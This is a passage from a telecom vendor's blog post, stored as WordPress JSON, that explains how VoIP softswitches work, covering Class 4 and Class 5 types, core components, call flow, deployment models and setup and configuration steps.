{"id":6149,"date":"2025-07-18T05:34:48","date_gmt":"2025-07-18T05:34:48","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=6149"},"modified":"2025-10-28T06:27:13","modified_gmt":"2025-10-28T06:27:13","slug":"how-does-a-soft-switch-work","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/","title":{"rendered":"How Does a Softswitch Work: Key Components\u00a0&#038;\u00a0Use\u00a0Cases"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Once, there was a time when those bulky hardware switches ruled the entire telecom world. Today, those are a thing of the past. Operators and VoIP service providers around the world rely heavily on the modern version of hardware switches &#8211; the softswitches, which are much more efficient and flexible. If you are a provider in the VoIP space, running a telecom business, then you certainly need to know &#8211; how does a softswitch work? This guide will provide you with all the information, in steps, so that you can leverage the benefits of softswitch to the full extent.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4d74ed699\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4d74ed699\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#What_is_a_Softswitch_in_VoIP\" title=\"What is a Softswitch in VoIP?\">What is a Softswitch in VoIP?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Class_4_Softswitch\" title=\"Class 4 Softswitch\">Class 4 Softswitch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Class_5_Softswtich\" title=\"Class 5 Softswtich\">Class 5 Softswtich<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Key_Components_of_a_Softswitch\" title=\"Key Components of a Softswitch\">Key Components of a Softswitch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#How_does_a_Softswitch_Work\" title=\"How does a Softswitch Work?\">How does a Softswitch Work?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Softswitch_Deployment_Models\" title=\"Softswitch Deployment Models\">Softswitch Deployment Models<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#On-Premise_Softswitches\" title=\"On-Premise Softswitches\">On-Premise Softswitches<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Cloud-Based_Softswitches\" title=\"Cloud-Based Softswitches\">Cloud-Based Softswitches<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Open_Source_Softswitches\" title=\"Open Source Softswitches\">Open Source Softswitches<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Commercial_Softswitches\" title=\"Commercial Softswitches\">Commercial Softswitches<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#How_to_Set_Up_a_VoIP_Softswitch\" title=\"How to Set Up a VoIP Softswitch?\">How to Set Up a VoIP Softswitch?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#How_to_Configure_a_Softswitch\" title=\"How to Configure a Softswitch?\">How to Configure a Softswitch?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Softswitch_Use_Cases\" title=\"Softswitch Use Cases\">Softswitch Use Cases<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#VoIP_Service_Providers\" title=\"VoIP Service Providers\">VoIP Service Providers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Telecom_Carriers\" title=\"Telecom Carriers\">Telecom Carriers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Internet_Service_Providers\" title=\"Internet Service Providers\">Internet Service Providers<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Conclusion\" title=\"Conclusion\">Conclusion<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Explore_REVE_Softswitch_Solutions\" title=\"Explore REVE Softswitch Solutions\">Explore REVE Softswitch Solutions<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Frequently_Asked_Questions\" title=\"Frequently Asked Questions\">Frequently Asked Questions<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#How_are_Class_4_and_Class_5_softswitch_different\" title=\"How are Class 4 and Class 5 softswitch different?\u00a0\">How are Class 4 and Class 5 softswitch different?\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Is_it_possible_for_a_softswitch_to_work_without_SIP\" title=\"Is it possible for a softswitch to work without SIP?\u00a0\">Is it possible for a softswitch to work without SIP?\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Do_softswitches_support_video_calls\" title=\"Do softswitches support video calls?\u00a0\">Do softswitches support video calls?\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#Can_softswitches_connect_calls_between_VoIP_and_PSTN_Networks\" title=\"Can softswitches connect calls between VoIP and PSTN Networks?\u00a0\">Can softswitches connect calls between VoIP and PSTN Networks?\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#What_business_sizes_can_use_softswitches\" title=\"What business sizes can use softswitches?\u00a0\">What business sizes can use softswitches?\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/how-does-a-soft-switch-work\/#How_do_softswitches_ensure_call_quality_and_reliability\" title=\"How do softswitches ensure call quality and reliability?\u00a0\">How do softswitches ensure call quality and reliability?\u00a0<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"What_is_a_Softswitch_in_VoIP\"><\/span>What is a Softswitch in VoIP?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">A softswitch is also called a Software Switch and is considered a central component in VoIP networks. It is responsible for routing voice calls, video calls, and messaging over IP networks, rather than traditional telephone lines. Conventional hardware-based telecom switches require physical circuits; however, modern softswitches are entirely software-based and run on standard servers.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">You can understand the role of a softswitch with this example. Imagine yourself making a call to a friend in another country using an internet-based calling app. Now, in this case, your call isn&#8217;t moving through traditional telephone lines; rather, it&#8217;s routed over the internet using a softswitch that determines the best route or path for your voice call data to reach its destination.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Typically, softswitches are of two types, <a href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/class-4-vs-class-5-softswitch\/\" target=\"_blank\" rel=\"noopener\">class 4 and class 5<\/a>. Both these switches, though, manage VoIP traffic; they have disparate roles within a telecom network and thus serve very different purposes.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Class_4_Softswitch\"><\/span>Class 4 Softswitch<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">This <a href=\"https:\/\/www.revesoft.com\/products\/reve-session-border-controller\" target=\"_blank\" rel=\"noopener\">type of softswitch<\/a> is meant for routing long-distance VoIP calls or international calls between different carriers. Some of the key functionalities of class 4 softswitches include protocol support and codec translation, least-cost routing, ensure QoS monitoring, and provide CDRs, ie, call detail records for billing.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Class 4 softswitches are ideal for telecom operators, wholesale VoIP providers, and international call aggregators.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Class_5_Softswtich\"><\/span>Class 5 Softswtich<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">This type of softswitch is meant to operate at the <a href=\"https:\/\/www.revesoft.com\/products\/class-5-softswitch\" target=\"_blank\" rel=\"noopener\">user level<\/a>, i.e., managing individual subscribers and businesses. Class 5 softswitches are ideal for hosted VoIP providers, ITSPs, enterprises managing internal phone systems, and UCaaS providers.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Some of the key functionalities of these switches include managing user registration and authentication, handling local call switching, offering user features like voicemail, IVR, call forwarding, call hold, call transfer, DND, and more.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Key_Components_of_a_Softswitch\"><\/span>Key Components of a Softswitch<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\"><a href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/softswitch\/\" target=\"_blank\" rel=\"noopener\">A softswitch<\/a> is made up of multiple functional modules or components, each of which plays a specific role. Let&#8217;s explore each one of them in detail:<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-6153 \" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/components-of-a-softswitch.jpg\" alt=\"components of a softswitch\" width=\"701\" height=\"479\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/components-of-a-softswitch.jpg 800w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/components-of-a-softswitch-300x205.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/components-of-a-softswitch-768x525.jpg 768w\" sizes=\"auto, (max-width: 701px) 100vw, 701px\" \/><\/p>\n<ul>\n<li aria-level=\"1\"><strong>Call Agent\u00a0<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Also called Call Control Server, it is the brain of the softswitch that manages all the signaling functions involved in a VoIP call. This includes:\u00a0<\/span><\/p>\n<p><b>Call initiation<\/b><span style=\"font-weight: 400;\">: The dialed number is accepted, and the request is verified<\/span><\/p>\n<p><b>Session control: <\/b><span style=\"font-weight: 400;\">The ongoing call session is managed<\/span><\/p>\n<p><b>Call termination:<\/b><span style=\"font-weight: 400;\"> The session is properly terminated, and resources are released<\/span><\/p>\n<p><span style=\"font-weight: 400;\">For example, you dialed a phone number from your softphone. The control server checks if your account is active, ensures that the dialed phone number is reachable, and initiates the call session. While the call happens, the control server remains active during the whole session to monitor and terminate the call once it is done.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\"><b>SIP Proxy\/ Registrar Server<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">This component is responsible for user registration, i.e., registering the VoIP device with the network, and location tracking, i.e., storing the location where the call is to be delivered.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\"><b>Media Gateway Controller\u00a0<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The telecommunication world is hybrid. While IP calling is increasingly growing, there are still many users who rely on traditional landlines and mobile phones that operate over PSTN or over the mobile voice networks. VoIP cannot communicate directly with PSTN as they speak different languages. So when this is the case, i.e., communication between the old PSTNs and the new VoIP, it is the media gateways and the media gateway controllers that do the job of the translation.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The Media Gateway Controller is the component that bridges VoIP with traditional telephony networks or PSTN. Suppose you make a VoIP call from your country to someone in the U.S. The call initiates and reaches the softswitch, which detects that the destination is not another VoIP user, but a PSTN connection. The media gateway controller identifies the correct media gateway for the destination and instructs it to convert into a PSTN-compatible voice signal. The result is &#8211; The phone on the destination rings like any normal call, even though it originated from the internet.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\"><b>Routing Engine\u00a0<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">As the term implies, this component is responsible for deciding the route for each call. Based on various parameters like the destination phone number, availability of the network, time of day, cost of routes, and quality metrics, the routing engine makes an intelligent decision about how every call will reach its destination most efficiently and cost-effectively, while maintaining QoS.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\"><b>Billing and Monitoring Module\u00a0<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">This module works towards ensuring the accurate tracking, billing, and reporting of each call. It does so by collecting CDRs, i.e., Call Detail Records, which typically include origin and destination of the call, start and end time, total duration, rate per minute, and termination status.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">We just learnt the various components of a softswitch, and it will be correct to say that a softswitch is much more than just a call routing engine, right?\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_does_a_Softswitch_Work\"><\/span>How does a Softswitch Work?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Now let&#8217;s move down to the step-by-step process of how all these modules or components work in cohesion.\u00a0<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-6162 \" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/working-of-a-softswitch-1-1024x667.jpg\" alt=\"working of a softswitch\" width=\"720\" height=\"469\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/working-of-a-softswitch-1-1024x667.jpg 1024w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/working-of-a-softswitch-1-300x195.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/working-of-a-softswitch-1-768x500.jpg 768w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/working-of-a-softswitch-1.jpg 1222w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/p>\n<p><b>The Call Initiates\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">As soon as a user dials a phone number using a VoIP app, a desk phone, or a SIP trunk, the call gets started. With this, the device sends an SIP INVITE to the softswitch.\u00a0<\/span><span style=\"font-weight: 400;\">Think of it like when you open your VoIP calling app and dial your friend&#8217;s phone number in a foreign country.\u00a0<\/span><\/p>\n<p><b>Authentication and Signaling Happen<\/b><span style=\"font-weight: 400;\">\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The SIP proxy performs user authentication to ensure that the account is valid and forwards the signaling to the call control server. \u00a0 This is like the system checks your user credentials and makes sure that you&#8217;re allowed to make international calls.\u00a0<\/span><\/p>\n<p><b>Routing Decision is Made\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">After confirmation, the routing part follows. Here, the routing engine considers various call parameters such as time of the day, destination, and available routes. Then it determines the best way to connect the call. This is like choosing a low-cost carrier in the destination country to minimize your bill.\u00a0<\/span><\/p>\n<p><b>Media Path is Established\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">The softswitch instructs the media gateway to establish the media path, thus the voice data starts flowing between the users<\/span><\/p>\n<p><b>Billing and Session Monitoring<\/b><span style=\"font-weight: 400;\">\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The softswitch activates its billing and monitoring components that track call duration, connection details, and generate real-time billing information<\/span><\/p>\n<p><b>Call Gets Terminated<\/b><span style=\"font-weight: 400;\">\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The call finally reaches its destination, which could be <a href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/what-is-voip-and-how-does-it-work\/\" target=\"_blank\" rel=\"noopener\">a VoIP number<\/a>, a mobile phone, or a landline. It gets terminated after the conversation is over.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Softswitch_Deployment_Models\"><\/span>Softswitch Deployment Models<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">There are different ways in which a softswitch can be deployed depending upon your specific business requirements in terms of size, technical capabilities, and scalability. Let&#8217;s explore the 3 major <a href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/license-purchase-hosted-softswitch\/\" target=\"_blank\" rel=\"noopener\">deployment options<\/a>:\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"On-Premise_Softswitches\"><\/span>On-Premise Softswitches<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-6157 \" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/on-premise-softswitch.jpg\" alt=\"on-premise softswitch\" width=\"701\" height=\"411\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/on-premise-softswitch.jpg 800w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/on-premise-softswitch-300x176.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/on-premise-softswitch-768x450.jpg 768w\" sizes=\"auto, (max-width: 701px) 100vw, 701px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">In this case, softswitches are installed locally on the physical or virtual servers of the business or the operator. This also means that all the components of the softswitch, including call control, routing, billing, and media processing, are deployed in-house.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">This type of deployment offers complete control over infrastructure; however, there&#8217;s also a high upfront cost associated with it.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Cloud-Based_Softswitches\"><\/span>Cloud-Based Softswitches<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-6156 \" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/cloud-based-softswitch.jpg\" alt=\"cloud-based softswitch\" width=\"698\" height=\"409\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/cloud-based-softswitch.jpg 800w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/cloud-based-softswitch-300x176.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/cloud-based-softswitch-768x450.jpg 768w\" sizes=\"auto, (max-width: 698px) 100vw, 698px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">In this type of deployment, softswitches are hosted and maintained by <a href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/reliable-voip-softswitch-solution-provider\/\" target=\"_blank\" rel=\"noopener\">third-party providers<\/a>. All operations happen in the cloud, and users access them via a web portal. This deployment model is an ideal choice for service providers and telecom resellers.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The benefits of cloud-based softswitches include quick setup, no hardware purchase, automatic updates, and <a href=\"https:\/\/en.wikipedia.org\/wiki\/Patch_(computing)\" target=\"_blank\" rel=\"noopener\">security patches<\/a>. At the same time, challenges associated are lesser control over infrastructure, limited customization, and dependency on the vendor for uptime and policies.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Open_Source_Softswitches\"><\/span>Open Source Softswitches<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-6158 \" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/opensource-softswitch-1024x536.jpg\" alt=\"opensource softswitch\" width=\"724\" height=\"379\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/opensource-softswitch-1024x536.jpg 1024w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/opensource-softswitch-300x157.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/opensource-softswitch-768x402.jpg 768w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/opensource-softswitch.jpg 1200w\" sizes=\"auto, (max-width: 724px) 100vw, 724px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">While this is not the best option to go with, some businesses still may choose open-source tools. While they come with benefits like zero licensing cost, high flexibility, and a large developer community, challenges like the requirement of advanced technical skills for setup and maintenance, lack of enterprise-grade features, and limited support may not be suitable for businesses seeking reliability.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Commercial_Softswitches\"><\/span>Commercial Softswitches<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">These softswitches come with enterprise-ready features such as multi-tenancy, integration options, dedicated support, and documentation. Though licensing fees can be high, these are an excellent choice for businesses seeking stability, scalability, and fast time-to-market.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Here are some quick questions about softswitch deployment that can help you choose the right model:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Need full control and privacy?\u00a0<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Go on-premise.<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Want to move fast without infrastructure hassle?\u00a0<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Pick a cloud-based softswitch.<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Do you have a development team and want flexibility?\u00a0<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Try an open-source softswitch.<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Need stability, support, and features out of the box?\u00a0<\/strong><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Choose a commercial <a href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/best-softswitch-vendors\/\" target=\"_blank\" rel=\"noopener\">softswitch vendor<\/a>.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_to_Set_Up_a_VoIP_Softswitch\"><\/span>How to Set Up a VoIP Softswitch?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">If you are planning to launch a VoIP service, then this is your foundational step. You need to ensure both infrastructure readiness and software deployment to set up your VoIP softswitch. Here&#8217;s how you can do it step-by-step:\u00a0<\/span><\/p>\n<p><b>Clarify Your Business Goals<\/b><span style=\"font-weight: 400;\">\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Before you dig deep into the technical aspects of softswitches, make sure you have your business model defined clearly. Determine whether you are offering retail VoIP services or handling carrier-to-carrier traffic, or a hybrid model. With this, you will be able to figure out the type of softswitch you need.\u00a0<\/span><\/p>\n<p><b>Select a Softswitch Vendor<\/b><span style=\"font-weight: 400;\">\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Never run behind low-cost services; rather, choose a reliable softswitch provider with having good reputation in the market. Make sure the vendor fulfills your specific business needs.\u00a0<\/span><\/p>\n<p><b>Choose Hosting Environment\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Primarily, you have two options to host the softswitch. One is a dedicated on-premise server where you will have full control. The other is a cloud VPS or data center, which is good for scalability and remote access.\u00a0<\/span><\/p>\n<p><b>Install the Softswitch Software\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">To install the softswitch software, you need to check with your vendor. They might provide a hosted platform (SaaS) or give you an installation package to deploy manually on your server.\u00a0<\/span><\/p>\n<p><b>Secure Your Softswitch<\/b><span style=\"font-weight: 400;\">\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Before your softswitch goes live, make sure to configure firewalls, enable IP whitelisting, and install SSL certificates.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_to_Configure_a_Softswitch\"><\/span>How to Configure a Softswitch?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Once the setup procedure is done, you can configure your VoIP softswitch to make sure it works in alignment with your network and business needs.\u00a0<\/span><\/p>\n<ol>\n<li><span style=\"font-weight: 400;\"> Create SIP accounts and set up credentials for end users (for Class 5 SOftswitch) and Carriers (for Class 4 Softswitches). SIP accounts usually include SIP ID or username, password, caller ID, and allowed IPs.\u00a0<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> The next step is to configure routing rules. For Class 4 softswitch, configure LCR and Time-based routing or failover routes. For class 5 softswitch, define extension-to-extension calling, local\/international dialing patterns, and dial plans per user\/group.\u00a0<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> The next step is to integrate VoIP termination providers by adding SIP trunk providers for call termination.\u00a0<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Then set up supported codecs (e.g., G.711, G.729, Opus) and transcoding based on your carrier\u2019s requirements and call quality goals.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Configure IVR menus, Voicemail boxes, and Call Features such as call forwarding, do not disturb, and conferencing for the Class 5 softswitch.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> If your softswitch includes a billing engine, create rate tables for each destination or provider, set up prepaid\/postpaid billing models, and enable balance notifications or call cut-off rules<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Then comes monitoring and reporting configuration. Here, enable real-time CDRs, alerts for failed calls, fraud detection, or system downtime, etc.\u00a0<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Before launch, perform end-to-end testing (test calls, audio quality, route failover), check CDR logs and billing behavior, and 